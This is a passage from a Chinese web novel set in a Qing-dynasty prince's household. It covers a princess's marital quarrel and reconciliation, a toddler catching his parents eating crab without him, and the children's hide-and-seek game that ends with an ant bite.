他虽然好奇六阿哥为何在此处鬼鬼祟祟的偷听,但是谁让这是六阿哥呢,他也只能装作没看见了。 弘晏将食指竖起放到嘴上,对着王乳娘比了一个“嘘”的手势。 王乳娘只得放弃,将身子缩成一团。 这厢,那喇星德开了口:“郡主,不知我哪里做错了,竟惹你一大早回了娘家?” 怀恪郡主依旧侧身而站,语气生硬:“哼,你做了什么你自己清楚。” 那喇星德像丈二的和尚——摸不着头脑:“我那喇星德一向光明磊落,敢做敢当,我确实不知,还望郡主直言相告。” 怀恪郡主见那喇星德不见棺材不落泪,便气呼呼的扭过身说道:“昨晚上你与额娘房中的小丫鬟眉来眼去,还送了她一个香囊,当我是瞎子不成?” 那喇星德这才明白,为何昨晚怀恪郡主无端赶他去书房睡,原是误会了。 怀恪郡主见那喇星德竟然笑了,一时间更气了:“你笑什么?” 那喇星德解释道:“那香囊里装着安神的草药,我是让她悬挂在额娘的帐子上。” 怀恪郡主嗤道:“一派胡言。” 那喇星德闻言,只道:“郡主不信,与我回府一看便知。” 怀恪郡主压根不信:“你们串通好了大可做戏给我看,挂一个香囊又不是难事。” 那喇星德已然没了耐心,说话的语气也硬了起来:“郡主,那你要如何才能信我与那丫鬟无事,我若真想收通房,又何至于等到现在。” 怀恪郡主哼道:“你喊什么?那喇星德,别忘了尊卑。” 那喇星德眸子暗了一瞬,说话的语气转而又变得温和:“郡主,同我回去吧,莫要再让阿玛与嫡额娘操心了。” 怀恪郡主高傲的抬了抬下巴:“那喇星德,轮不到你教训本郡主。” 那喇星德默了一瞬,再度开口:“郡主,我再问最后一次,同不同我回去?” 怀恪郡主直接将身子扭了过去,不再看那喇星德。 那喇星德掀了掀嘴角,自嘲道:“郡主尊贵,到底是我那喇府庙小。” 话音落下,那喇星德大步流星的离开了。 怀恪郡主有些慌了,对着那喇星德的背影喊道:“那喇星德,你站住。” 那喇星德依旧大步流星的走着,没有丝毫的停留。 而怀恪郡主见状,气呼呼的又朝着碧波苑走去。 听完小夫妻吵架的弘晏表示:好嘛,一个是娇纵任性的爱面子,一个是不解风情的直肠子。 这夫妻俩的事儿,他可管不了。 “乳凉,回去吧,窝饿了。”说着,弘晏便伸展双臂,要王乳娘抱他回去。 在草丛里待了太久,他已经累了。 王乳娘见状,便俯身抱起弘晏往回走。 正院内,胤禛与乌拉那拉氏已然开始用午膳了,而苏培盛也先一步回去,将事情原委禀报了胤禛。 既然不是什么大事,胤禛也不好管了。 有道是:解铃还需系玲人。 不多时,弘晏的小奶音响起:“额凉,阿玛,窝回来了。” 胤禛饶有兴趣的问道:“福宝,去哪里晒太阳了?” 苏培盛自然也将弘晏在草丛后面偷听的事情告诉了胤禛。 本来弘晏非要去外面晒太阳,胤禛与乌拉那拉氏就觉得奇怪,现在可算是明白了。 小家伙,还挺爱瞧热闹。 聪明如弘晏,直接看向了苏培盛。 而苏培盛讪讪笑了笑。 六阿哥虽小,但却不好糊弄呢。 乌拉那拉氏见状,笑着招呼:“好了,福宝,快来吃饭吧。” 弘晏糯糯的应声:“好。” 他的小肚肚早就饿了。 第55章 第55章皆大欢喜 用完午膳,胤禛去了前院书房处理公务,乌拉那拉氏则带着弘晏去内室的拔步床上小憩儿。 半个时辰后,乌拉那拉氏醒来见弘晏还熟睡着,给弘晏掖好被子便叫王乳娘进来守着。 自己梳洗好后便去了外间,叫流萤与银烛去库房将上好的绸缎都拿出来,预备着给弘晏做冬装。 如今虽说是秋日,可一眨眼的功夫天就要冷了,现在开始叫绣娘和裁缝做,待入了冬,刚刚好可以上身穿。 乌拉那拉氏仔细挑选起来:“福宝喜欢穿红色,这匹石榴红的蜀锦,做棉袍和袄子正好。” 银烛笑着接话:“咱们阿哥白,穿什么都好看,福晋,你瞧这匹景泰蓝的云锦也不错。” 流萤跟着说道:“福晋,这匹紫色的也好看。” 乌拉那拉氏瞧了瞧,笑道:“那就都留下。” 不多时,乌拉那拉氏便选好了绸缎,叫流萤与银烛拿下去交给裁缝和绣娘做冬装,帽子、鞋袜一类的自然也不能少。 但是内里贴身的寝衣,乌拉那拉氏自然要自己做。 少顷,睡醒的弘晏从内室走出来,就见着乌拉那拉氏坐在檀木小榻上专注的绣些什么。 弘晏开口喊道:“额凉。” 乌拉那拉氏闻言,将手中的针线放下,转而俯身将弘晏抱坐在腿上:“福宝,饿不饿?” 弘晏摇了摇小脑袋。 “额凉,泥在做什么?”弘晏好奇的问道。 乌拉那拉氏闻言,回答道:“额娘给福宝做件寝衣。” 弘晏一愣,转而拉着乌拉那拉氏的手说道:“额凉,歇歇。” 乌拉那拉氏摸了摸弘晏的小脑袋:“好,额娘听你的,歇上一歇。” 而后,弘晏却开始认真的给乌拉那拉氏的手指按摩。 乌拉那拉氏见状,贴了贴弘晏的小脸蛋儿:“额娘有福宝真好。” 弘晏在乌拉那拉氏的怀里蹭了蹭,忽闪着大眼睛说道:“窝有额凉真好。” 有娘疼的孩子真好。 —— 第二日清早,乌拉那拉氏与弘晏吃完早膳后,乌拉那拉氏便带着弘晏到院子里荡秋千。 这时,银烛迈步过来:“福晋,那喇老夫人来了。” 那喇老夫人? 那便是那喇星德的额娘了。 弘晏这样想着。 “快请进来。”乌拉那拉氏话音落下,便要抬步往屋内走去。 秋千上的弘晏见乌拉那拉氏没有带上自己的打算,便伸手喊道:“额凉,抱抱。” 有热闹,怎么能少的了他。 乌拉那拉氏见状,转过身抱起弘晏才又往屋里去。 待乌拉那拉氏与弘晏在檀木小榻上坐稳当,那喇老夫人已然跟着银烛进来了。 那喇老夫人福身道:“臣妇见过雍亲王福晋,见过六阿哥。” 乌拉那拉氏笑着道:“老夫人不必客气,快请坐吧。” 那喇老夫人笑着落座。 乌拉那拉氏对着身旁的弘晏说道:“福宝,问老夫人好。” 弘晏遂对着那喇老夫人作揖道:“老夫人安。” “六阿哥有礼。”那喇老夫人说完,看了一眼身旁跟着的嬷嬷。 那嬷嬷将手里捧着的檀木盒子递给了流萤。 流萤将盒子打开,呈给乌拉那拉氏看,里面放着的是一块圆形镂空梅花纹样的玉佩。 乌拉那拉氏开口道:“老夫人客气了。” 那喇老夫人笑呵呵道:“臣妇第一次见六阿哥,理应备下见面礼。” 弘晏听罢,糯糯的对着那喇老夫人说道:“谢谢老夫人。” 那喇老夫人见状,笑着点头:“六阿哥喜欢就好。” 寒暄过后,乌拉那拉氏自是明白那喇老夫人登门的意图,便给流萤递了个眼色。 流萤迈步出去,银烛端着漆木托盘进来,将一盏热茶放在那喇老夫人面前,而后退到乌拉那拉氏身旁侯着。 不多时,怀恪郡主踩着花盆底进来,先是对着上首的乌拉那拉氏请安,而后满是诧异的对着那喇老夫人问道:“额娘,您怎么来了?” 那喇老夫人站起身,拉过怀恪郡主的手,恳切道:“郡主,我此番来便是替星德那混小子给你赔罪的。” 怀恪郡主忙道:“额娘,这哪里使得?” 她虽为皇室郡主,但既然嫁到了那喇家,哪里能让长辈给自己赔罪呢。 那喇老夫人细细说起来:“郡主,星德那孩子就是嘴笨,身边干净的很,他若是胆敢有杂念,我第一个便不饶他,郡主你大人不记小人过,就别跟他一般见识了。” 那喇老夫人这番话说得真切,怀恪郡主听得感动之余,又有些臊的慌:“额娘,这事儿我也有错,没弄清楚就妄下决断了。” 那喇老 夫人闻此言,拍了拍怀恪郡主的手背:“无妨,无妨,事情不是已然说开了嘛。” 随后,怀恪郡主便跟着那喇老夫人回那喇府去了。 黄昏时分,胤禛回了正院,得知是那喇老夫人接回了怀恪郡主,有些不高兴:“若是传扬出去,对雍亲王府和怀恪而言,都是有害无利。” 乌拉那拉氏开口道:“年轻人气盛,都犟着不肯低头,那喇老夫人不出马,落在好事之人嘴里,岂不是又成了额驸将怀恪气回了娘家?” 胤禛听罢也觉得有理,无奈叹了口气。 弘晏本以为这件事情不管怎么说,总算是解决了,却不想天一亮,怀恪郡主就又回了雍亲王府,而且哭哭啼啼的要与星德和离。 —— 前院书房内。 胤禛、乌拉那拉氏、李侧福晋、怀恪郡主包括弘晏都在。 怀恪郡主抽泣道:“阿玛,你是没瞧见,那喇星德知晓是他额娘将我接回去,便说我摆郡主架子,不尊婆母,我气不过辩了几句,他就冲我发火,还砸了茶盏。” 李侧福晋搂着怀恪郡主,心疼的不行,遂愤愤道:“爷,您听听,就这样的人家,怀恪如何安生过日子。” 胤禛只觉得头疼。 怀恪郡主继续诉苦:“阿玛,我不要回那喇府,那喇星德他今日能砸茶盏,明日便能打人了。” 胤禛直白的问道:“怀恪,你是非要和离不可了?” 怀恪郡主边用帕子擦眼泪,边点了点头。 胤禛见状,开口道:“怀恪,我丑话说在前头,你的婚事是我进宫向你皇玛法求来的,你若执意和离,为父甘愿顶雷霆之怒请来和离的圣旨,不过,你要知道,身在皇家享受金尊玉贵的日子,受万民供养,便要承担起皇室的责任,日后再嫁,若是被赐婚抚蒙,你可别后悔今日做下的决定。” 胤禛说完,怀恪郡主与李侧福晋都沉默不语了。 弘晏看着李侧福晋母女二人,只能用三个字来形容:不知足。 怀恪郡主是胤禛唯一的女儿,他早早的找好额驸人选并进宫求康熙赐婚,不就是为了将女儿留在京城,免受远嫁蒙古之苦。 再说那喇星德,虽然不是出于名门显赫之家,但也是满清贵族之后,是有真才实学的武将。 那喇星德双亲具在且明理忠厚,又无同胞兄弟,只有两个待嫁闺中的幼妹,这样的人家,怀恪郡主嫁过去过日子,可是再舒心不过了。 胤禛瞧着怀恪郡主不言语,又问道:“怀恪,想清楚了吗?” 怀恪郡主犹豫了:“我……” 胤禛见状,沉声道:“怀恪,摆在你面前的有两条路,第一,与星德和离,听从你皇玛法的旨意再嫁,第二,乖乖回去,好生与星德过日子,你选吧。” 半晌儿,怀恪郡主擦干了眼泪,方道:“阿玛,我想清楚了,我这就回去。” 李侧福晋还想再劝女儿想清楚:“茉雅奇……” 怀恪郡主郑重道:“额娘,我真的想清楚了。” 随即,怀恪郡主站起身又看向胤禛与乌拉那拉氏:“阿玛,嫡额娘,女儿不孝,让你们也跟着担心了。” 说完,怀恪郡主便要行跪礼,却被乌拉那拉氏拦住了:“快起来,不必如此。” 这时,苏培盛进门禀报道:“爷,额驸来了。” 胤禛开口道:“叫他进来。” 下一瞬,那喇星德打千儿道:“给阿玛请安,嫡额娘请安,额娘请安,郡主请安,六阿哥请安。” 胤禛抬了抬手:“起来吧。” 那喇星德站起身后,眼睛直接看向了怀恪郡主,瞧那眼睛红红的,一看就是哭过的。 怀恪郡主察觉到那喇星德在盯着自己瞧,可却不知此时该如何面对那喇星德,索性将头低下了。 乌拉那拉氏瞧着那喇星德的模样,问道:“星德可是来接怀恪回去的?” 那喇星德朝着乌拉那拉氏说道:“回嫡额娘的话,我此番前来是赔罪,昨日话赶话又与郡主起了争执,我一时气急摔了茶盏,惊吓到了郡主,实属不该,今日特来请罪。” 话说完,那喇星德对着怀恪郡主一本正经的拱手道:“郡主,昨日之事,是我不对,还望你大人有大量,宽宥我这一回。” 当着长辈们的面儿,怀恪郡主闻言,有些羞臊,催促道:“好了,咱们快些回府吧,莫要让额娘跟着担心了。” 那喇星德是诧异加迟疑:“咱,咱们?” 郡主这意思是要跟着他一同回那喇府? 这回竟然这么轻易就答应了? “不然呢,你还想跟谁一起回去。”怀恪郡主说完,对着胤禛等人福了个身,就急忙走出去了。 那喇星德见状,对着胤禛等人拱手道:“小婿告退。” 话音落下,那喇星德赶忙出去追怀恪郡主了。 弘晏小朋友表示:这回总算是皆大欢喜了吧。 这厢,那喇星德快步追上了怀恪郡主,便放慢速度与怀恪郡主并排走着。 既然想清楚了要与那喇星德好好过下去,她也不该总是将自己放在高位,俯视那喇星德,怀恪郡主遂低低的开口:“昨日之事不全怪你,我不该咄咄逼人的。” 那喇星德听完,愣了愣,震惊怀恪郡主的转变,又回想起方才在屋内时,怀恪郡主红红的眼尾,应该是被胤禛训斥过了。 联想到这里,那喇星德心里也不好受。 于是,那喇星德伸出手,试探着牵住了怀恪郡主的指尖。 怀恪郡主见状,什么也没说,由着那喇星德拉着自己。 往日里,她嫌弃那双布满茧子的粗糙手掌,此时却觉得温暖有力。 那喇星德见怀恪郡主并没有抗拒他的触碰,便直接将怀恪郡主水葱般的手指完全包裹住。 怀恪郡主见状,嘴角挂起浅浅的笑。 二人迈出雍亲王府大门,走到马车旁,怀恪郡主正欲踩红木矮凳上马车,却直接被那喇星德打横抱上了马车。 徐徐向前的马车里,那喇星德将人抱进怀里,边喘着粗气边急促的亲吻着。 怀恪郡主推搡着那喇星德的胸膛,红着脸道:“还在外面呢。” 那喇星德理智回笼,将人松开了,而后快速拉开二人的距离,紧接着拉开马车帘子透透气。 怀恪郡主也红着脸坐到了另一侧,平复着自己快速跳动的心脏。 第56章 第56章父子情深 秋日里,螃蟹最是肥美。 胤禛与乌拉那拉氏都深知弘晏是小馋猫,况且中秋家宴上弘晏嚷着吃蟹肉的模样,乌拉那拉氏还历历在目。 是以,为了弘晏的身体着想,这日晚上,乌拉那拉氏早早的给弘晏沐浴更衣,又哄着弘晏入睡。 直到拔步床上的小奶团子发出均匀绵长的呼吸声之后,乌拉那拉氏将拔步床上挂着的帐幔放下,轻手轻脚的走出了内室,关上了隔扇门。 外间的胤禛,正盘腿坐在檀木小榻上看书,听见乌拉那拉氏出来的脚步声后,便抬眸对着流萤吩咐道:“都端上来吧。” 流萤应了一声,遂抬步出去。 胤禛合了手上的蓝灰皮书放到檀木小榻上摆放着的矮桌,转而穿鞋下了檀木小榻移坐到八仙桌旁。 银烛端来兑好的温水,胤禛将手放在铜盆里,仔细的洗着。 同坐在八仙桌旁的乌拉那拉氏,望了一眼紧闭着的隔扇门,忽而低声笑了。 胤禛疑惑挑眉,边拿着帕子擦干手掌上残留的水珠,边问道:“福晋,因何发笑?” 乌拉那拉氏遂解释道:“我笑,你我竟像做贼似的。” 胤禛闻言,弯了弯嘴角。 可不是,为了不让弘晏察觉端倪,他可是煞费苦心。 先是窝在耳房里看书,让弘晏误以为他今晚不来正院,好乖乖的跟着福晋去内室睡觉。 待内室没了响动,他才从耳房出来大大方方的坐在小榻上看书。 乌拉那拉氏与胤禛正聊着,流萤和几个丫鬟便端着漆木托盘进来了。 深秋夜,螃蟹肉配桂花美酒,好不快哉。 这厢,乌拉那拉氏与胤禛灯下对饮,而一门之隔的内室中,拔步床上的弘晏迷迷糊糊的睁开了眼睛,接着弘晏骨碌着小身子坐了起来,小手攥拳揉眼睛。 在一旁守着的王乳娘见状,暗叫不好,可面上却满是笑意压低声音走过去问道:“阿哥是想出恭吗?” 弘晏摇了摇小脑袋。 他又也不知道为何自己会忽然醒过来。 或许是今晚比从前都睡的要早一些,身体还没有适应吧。 弘晏这么想着。 忽而,他听到了外间传来男人的笑声。 弘晏狐疑的望向了隔扇门的方向。 好像是便宜阿玛的声音? 王乳娘额间一跳,脚步一移,用身子挡住不远处的隔扇门,笑眯眯的哄道:“阿哥,离天亮还早着呢,再睡会儿吧。” 弘晏扭头往空荡荡的拔步床上一瞧,转而又扬起脸问道:“窝额凉嘞?” 明明是乌拉那拉氏带着他一起睡得。 “福晋?”王乳娘大脑飞速运转:“福晋她沐浴更衣还没回来呢?” 弘晏却是不相信。 他感觉自己睡了好久了,额娘怎么会沐浴那么长时间呢。 这时,外间隐隐约约又传来女子的娇笑声来。 这声音不是乌拉那拉氏,又能是谁。 王乳娘心里直打鼓,面上却依旧柔声哄着:“阿哥,睡觉吧。” 话说着,王乳娘便要扶着弘晏躺下。 弘晏越发觉得不对劲,直接吩咐王乳娘给自己穿鞋,而后抱自己出去。 王乳娘见状,便想说话提醒胤禛与乌拉那拉氏赶忙将外间的东西撤了,可弘晏直勾勾的盯着她,并且比了一个“嘘”的手势。 王乳娘只得作罢,硬着头皮抱弘晏出去。 隔扇门一开,弘晏看见八仙桌上的大螃蟹和桂花酒,脸一下子就耷拉下来了。 胤禛与乌拉那拉氏的笑意在看到弘晏的那一刻,瞬间凝固了。 这孩子,怎么这么快就醒了。 弘晏气呼呼的望着胤禛,又看了看乌拉那拉氏,嚷道:“坏阿玛,坏额凉。” 好啊,额娘和便宜阿玛竟然背着自己吃独食!!! 弘晏说完,又扑腾着小短腿让王乳娘放自己下去。 王乳娘生怕摔了弘晏,赶忙将人放下去。 弘晏的脚一落地,气鼓鼓的跺着脚就要往外走,胤禛眼疾手快,大步过来将还没走出两步远的弘晏抱起来。 弘晏依旧扑腾着小短腿,两只小手推搡着胤禛的胸膛叫嚷着:“不要泥抱,坏阿玛。” 胤禛第一次见弘晏这么厉害的吵闹起来,听得头有些疼,但也舍不得用大力禁锢着弘晏,更舍不得凶他。 毕竟,这一回是他没理。 乌拉那拉氏见胤禛也没办法稳住弘晏,边过来哄道:“福宝乖。” 话说着,乌拉那拉氏也伸出手想要把弘晏抱进怀抱里。 弘晏谁的账也不买,鼓着小嘴对着乌拉那拉氏喊道:“坏额凉,骗人,不要泥。” 弘晏既生气又委屈。 吃螃蟹的时候不叫他! 现在被他发现了,知道哄他了,他不稀罕! 弘晏越想越觉得委屈,鼻子一酸,泪珠子就从眼眶里滚落下来了。 “呜呜” 明明知道他喜欢吃螃蟹的。 乌拉那拉氏见状,伸手将弘晏抱到了怀里,一个劲儿的哄起来:“福宝不哭,额娘错了,不该骗你的,不该背着你吃螃蟹,可额娘也是怕你吃坏肚子啊。” 弘晏抽泣着,听了乌拉那拉氏的解释,小嘴哼了哼。 乌拉那拉氏抱着弘晏坐下,拿着帕子给弘晏擦了擦眼泪,又拿了巾帕给弘晏擦脸,而后贴了贴弘晏的小脸蛋儿又亲了亲,才堪堪将人哄好。 胤禛走过来,弘晏却将脸扭过去不看胤禛。 胤禛见状,只道:“蟹肉剥好了,再不吃要凉了,还有热牛乳,福宝可要喝一些?” 蟹肉性寒,弘晏尚小又饮不得酒,喝一些热牛乳来调和,会好上一些。 弘晏瘪着小嘴依旧不说话。 乌拉那拉氏瞧着弘晏还生着气,对着胤禛使了个眼色。 胤禛瞧着红着眼睛瘪着嘴巴,委屈满满的小家伙,只能撩起衣角坐下来,对着弘晏细声细语的说起来:“阿玛不该出馊主意,福宝,莫要生气了。” 弘晏这才松口。 哭也哭了,气也生了,他当然要吃一顿,补充补充体力。 而后,胤禛拿着盛了蟹肉的小碗,一点儿一点儿的喂给弘晏吃,乌拉那拉氏则端着牛乳,吹凉了一口一口的喂给弘晏。 乌拉那拉氏瞧着弘晏吃的很满足,看了一眼胤禛,用眼神示意胤禛莫要再喂了,又看着弘晏,软声哄道:“福宝,吃了不少蟹肉了,等过几日,额娘让人给你做蟹黄汤包吃,好不好?” 夜深了,再吃下去,若是积食闹肚子可就不好了。 弘晏闻言,点了点小脑袋。 乌拉那拉氏笑着给弘晏擦嘴:“福宝真乖。” 随后,乌拉那拉氏抱着弘晏又去洗漱。 胤禛提起一杯桂花酒,作为这顿螃蟹宴的收尾。 待桂花酒在口中咽下后,胤禛无奈的笑了。 小家伙不好骗。 早知如此,何必当初啊。 胤禛进了内室,瞧见的是乌拉那拉氏躺在拔步床的里侧,弘晏躺在了中间,将外面的位置留给了自己。 弘晏原来是平躺在拔步床上,整个人摊成一个“大”字,如今见胤禛走到拔步床旁,立马一个骨碌就窝进了乌拉那拉氏怀里,只留一个背影给胤禛瞧。 今晚,便宜阿玛可别想再把他给抱走。 胤禛见状,勾了勾嘴唇。 随后,胤禛解掉盘扣脱了外袍挂在衣杆上,吹灭燃着的烛火就上了拔步床。 过了一会儿,黑夜中只听得“噗”一声。 胤禛眉头颦起,“蹭”的一下坐起来,将帐幔拉开通通气,散散味儿。 因着弘晏是背对着他,是以那屁的臭味直接对准他散了出来。 弘晏装作什么都没发生的样子,可怜巴巴的对着乌拉那拉氏说道:“额凉,冷。” 他们三个人同盖一条被子,胤禛坐起来的动作自然将被子带起来,那冷风自然也就灌了进来。 乌拉那拉氏闻言,对着胤禛说道:“爷,再去柜子里拿条被子出来吧。” 她与弘晏一条被子,胤禛独自盖一条被子,大家都会睡得好一些。 不待胤禛说话,弘晏已然演了起来:“呜呜,阿玛嫌弃窝。” 胤禛一愣。 他嫌弃的是有些明显了。 不过,这味道确实臭。 福晋大抵是日日照顾弘晏,是以反应比他平静的多。 胤禛又想起自己今晚骗了小家伙,害得小家伙哭的那么伤心,一时间愧疚涌上心头,便抬手直接将帐幔放下,整个人又躺了回去。 随后,胤禛的大手向里侧探去,摸到弘晏肉乎乎的小身子以后,直接将弘晏抱进了自己怀里。 离开香香软软的怀抱,跌进一个宽阔坚硬的胸膛后,弘晏有些后悔说方才那句话了。 接着,弘晏感觉到胤禛的大手在轻轻拍打着自己的小身体。 好吧,弘晏很给面子的阖上了眼睛,靠在胤禛怀里睡觉。 而里侧的乌拉那拉氏,没有听到弘晏有动静,便放心的阖眼睡去了。 第二天清早,胤禛醒来时,怀里的小家伙还睡得香甜。 胤禛轻轻的将弘晏从自己怀里抱出来,又给弘晏盖好被子后,方轻手轻脚的下了拔步床。 胤禛走后没多久,弘晏便醒了,见自己身旁空空如也,就知晓胤禛定是上朝去了,随后,又骨碌着小身子窝进乌拉那拉氏怀里睡回笼觉。 这一觉,母子两个日上三竿才起身。 乌拉那拉氏带着弘晏洗漱好后,便抱着弘晏到外间用早膳。 今日早膳准备的是赤豆粥,甜甜糯糯的,弘晏很喜欢喝,而糕点有他喜欢的孙泥额芬白糕,弘晏吃了半块,又吃了一口枣糕,便喂饱了小肚子。 吃饱喝足了,弘晏对着乌拉那拉氏说道:“额凉,窝要找五锅锅玩儿。” 乌拉那拉氏边拿着帕子给弘晏擦嘴,边嘱咐道:“好,记得早些回来。” 随即,弘晏带着王乳娘就朝着邀月轩的方向出发了。 第57章 第57章先入为主 弘晏刚走进邀月轩的院子,就有眼尖的奴才进屋禀报去了。 下一瞬,弘昼像一匹脱缰的野马直接冲了出来,跑到弘晏面前就刹住了,而后兴冲冲的喊道:“弟弟,你来找我玩了。” 弘晏笑着点了点头。 “那咱们走吧。”弘昼说着拉起弘晏的小肉手就要往外走。 弘晏站在原地没有动,而是出声提醒:“锅锅,跟耿姨凉说。” 弘昼早就将自家额娘忘在脑后了,听到弘晏的话,便又拉着弘 晏往屋子里走去。 可兄弟两个没走出去多远,耿格格自己个儿就出来了。 “六阿哥。”耿格格迈步下了台阶,笑吟吟的对着弘晏说道。 弘晏扬起小脸儿,奶呼呼的说道:“耿姨凉,安。” 弘昼见弘晏还在跟自己额娘寒暄,便忍不住开口道:“额娘,弟弟是来找我玩的。” 耿格格看向眼里冒光的弘昼,无奈道:“额娘知道了,去玩吧,照看着些六阿哥。” 弘昼拍了拍小胸脯:“放心吧,额娘。” 话说完,弘昼拉起弘晏的手便往外面走。 耿格格见弘昼只要不看书就活力满满的样子,无可奈何的摇了摇头。 胤禛学识如何,自不用说,她虽然没读过什么书,但也是愿意看书的,弘昼这皮猴子也不知到底随了谁。 现在启蒙都这般惫懒,过几年去了前院读书,可如何是好? 再者,还有一个同岁且爱学上进的弘历更衬托出弘昼顽劣不堪。 一想起这个,耿格格就头疼的紧。 走出邀月轩的弘昼不知耿格格的忧愁,相反,他高兴极了,这外面的一草一木,哪一个不比书本上黑乎乎的字有意思。 弘晏好奇的问:“锅锅,窝们去哪?” 弘昼闻言,答道:“去找四哥,瞧瞧我送给他的乌龟,他养的怎么样。” 弘晏点了点头。 去找弘历也好,从弘历生辰过后,他就再没有见过弘历了。 很快,弘晏与弘昼就到了钮祜禄母子居住的如意室了。 两个小人儿迈上台阶,还未进去,就听到了朗朗的读书声。 一进去,弘晏果然瞧见弘历坐在小榻上看书,而钮祜禄格格坐在小榻的另一侧做着针线活计。 弘晏开口道:“姨凉,安。” “钮祜禄”这三个字对于他来说,还是有些难以发准音的,为了不闹笑话,他还是不喊姓氏为好。 弘昼紧随其后,出声喊道:“钮祜禄姨娘,安。” 钮祜禄格格笑得温柔:“两位阿哥有礼了,冬雨,快端些糕点来。” 小榻上的弘历望着二人问道:“五弟,六弟,你们怎么来了?” 弘昼眨了眨眼睛:“当然是来看看你有没有照顾好大乌龟。” “元绪?它很好,我带你们去瞧。”弘历说着,一手扶住小榻的扶手,一手撑着小榻上的垫子,就下了小榻。 三个小人儿走到了瓷缸前,一动不动的大乌龟,忽而将脑袋缩到了龟壳里。 弘昼有些质疑:“四哥,这大乌龟跟了你,怎么胆子都变小了?” 胤禛想的名字文绉绉的,他可记不住,还不如直接喊“大乌龟”来的好。 再说了,这大乌龟跟着他的时候,多威风啊。 弘历想了想,一本正经的解释道:“没有啊,可能是我们三个突然过来,他看到人多,一时害怕才缩进龟壳里保护自己的。” 弘昼答道:“那不还是胆子小嘛。” 弘晏忍不住在心里嘀咕:乌龟当然胆子小,不然怎么叫“缩头乌龟”呢。 这时,冬雨捧着糕点过来:“三位阿哥,吃些糕点吧。” 弘历灵机一动,便抬手从碟子里拿了一块米糕,掰碎一小块,而后丢进瓷缸里去。 他想用食物引诱元绪把脑袋露出来。 可半晌儿,不见动静。 弘昼没了耐性,直接用食指戳了戳大乌龟的硬壳,大乌龟还是一点儿反应都没有。 弘昼见状,震惊道:“它不会睡着了吧。” 弘晏开口道:“四锅锅,五锅锅,窝们走远些。” 三个人一直围着瓷缸,乌龟感受到外部的环境是危险的,自然不会露出头来。 弘历和弘昼都觉得弘晏的话有道理,三个小人儿便离得远了些。 过了一会儿,大乌龟果然露出了脑袋,还张嘴把碎米糕块吃进了肚子里去。 弘昼瞧清楚了这一幕,忍不住夸道:“弟弟,你真聪明。” 弘晏只是笑了笑。 他可是活了几百年且资质极佳的小玉兔呢。(骄傲脸.jpg) 弘历也是这般觉得,于是,开口对着弘晏说道:“弟弟,我带你读书吧。” 弘晏:“?!” 弘历,你要不要听听你在说什么? 弘昼震惊道:“四哥,六弟才一岁多,读什么书啊。” 弘历立马转换了劝学对象:“六弟是小,可你呢,我听说你连《三字经》的一半都没有背完呢。” 小榻上的钮祜禄格格听见了,便开口劝道:“是啊,弘昼,弘历已经开始背《百家姓》了,你也该加把劲儿了。” 语气中,尽显骄傲之意。 弘昼闻言,理直气壮的回答道:“背一百个人的姓氏做什么,我知道自己姓什么就好了。” 笑容顿时僵在脸上的钮祜禄格格:“……” 弘晏:这话乍一听,好像没毛病呢。 弘历闻言,纠正道:“五弟,《百家姓》里不止有一个百个姓氏的,从老祖宗开始,启蒙都要学《三字经》《百家姓》的。” 弘昼的脑回路与寻常人不同,闻言只问道:“不止一百个,那为啥不叫《千家姓》。” 这下子,弘历可回答不上来了。 钮祜禄格格见弘历被难住,遂开口解释道:“弘昼,当然是因为《百家姓》里没有一千个姓氏啊。” 弘昼恍然大悟,随即又追问道:“钮祜禄姨娘,那《百家姓》到底有多少个姓氏?” 钮祜禄格格:“……” 弘历也好奇的看向钮祜禄格格。 钮祜禄格格清咳一声,开始转移话题:“弘历,别在屋子里闷着了,带着弘昼和弘晏出去玩吧。” 一听要出去玩,弘昼自然不再问下去了。 等三个小人儿走了以后,钮祜禄格格吩咐冬雨去数《百家姓》到底有多少个姓氏。 冬雨:“……” 三个小人儿一路又走去了园子,玩起了躲猫猫的游戏。 第一局,弘历负责捉,弘昼和弘晏来躲。 王乳娘目标太大,弘晏怕自己会暴露,便不让王乳娘跟着自己一起藏。 王乳娘没有法子,只能远远的瞧着弘晏躲到哪里去了。 弘晏知晓自己身体小,于是便躲到了假山里。 而弘历则躲到了较为隐蔽的草丛里。 数数结束,弘昼开始找人。 弘昼一转身就发觉了王乳娘的眼神一直盯着假山的方向看,很快联想到了什么,便径直往假山的方向跑去了,果然在一块大石头的后面发现了弘晏。 愿赌服输,弘晏乖乖的出来了。 弘昼又在假山转了一圈,没有发现弘历的身影,便从假山出来了,接着去草丛里找。 只是园子里的草丛太多,全部找一遍还需要时间,还没有等弘昼找到弘历藏身之地,弘历便自己跑出来了。 弘历跑到王乳娘面前,一边挠着脖子,一边痛苦的喊道:“王乳娘,我脖子好痒啊。” 弘昼听到弘历的声音,就赶忙跑回来了。 而王乳娘闻言,立马查看了弘历的脖子,却发现弘历的脖子有一块是红肿的。 王乳娘登时就觉得弘历是被虫子给咬了,于是,先叫弘历忍着些,立马带着三个小阿哥回如意室去。 到了如意室,钮祜禄格格忙吩咐人去请柳从南过来,而乌拉那拉氏和耿格格知晓出了事儿,都连忙赶来了如意室。 屋内,乌拉那拉氏与耿格格知晓弘晏与弘昼没有事儿,心下稍安,随即,便齐齐的望着给弘历擦干净脖子后,又涂抹药膏的柳从南。 因着弘历用手挠了红肿处,将皮挠破了,是以涂抹起要药膏来会更疼一些。 “嘶” 弘历忍不住喊了一声。 钮祜禄格格瞧见了,更是心疼的不行。 柳从南站直身子,看向乌拉那拉氏禀道:“福晋,四阿哥的脖子因是被蚂蚁叮咬所致,所幸并无大碍,涂抹几日药膏便好。” 钮祜禄格格出声道:“竟是蚂蚁咬的?” 柳从南闻言,出声解释道:“是,这种黑蚁比寻常的蚂蚁体形大些,应是会出没在草丛中,万幸是没有毒的。” 这就对了,弘历就是躲在草丛里被叮咬的。 耿格格看着弘昼,没好气的质问道:“弘昼,这回可又是你的主意?” 弘昼很是委屈:“不是我。” 这时,弘晏替被冤枉的弘昼解释:“耿姨凉,不是五锅锅,是四锅锅。” 弘历也对着耿格格说道:“耿姨娘,六弟说的对,是我的主意,额娘让我带两个弟弟出去玩,我才提议去园子躲猫猫的。” 王乳娘清楚事情的来龙去脉,只是此时没人问她去园子的缘由,她毕竟是个奴才,也不好主动指认弘历,是以,只能保持沉默。 钮祜禄格格听了弘历的话,生怕乌拉那拉氏和耿格格误会自己不欢迎弘晏和弘昼,于是赶忙解释道:“额娘是怕你们在屋子里闷坏了,才让你们出去玩,透透气的。” 乌拉那拉氏明白钮祜禄格格的意思,只道:“弘历无大碍,便是最好的了。” 乌拉那拉氏话说完,耿格格才发觉弘昼已然跑出去了。 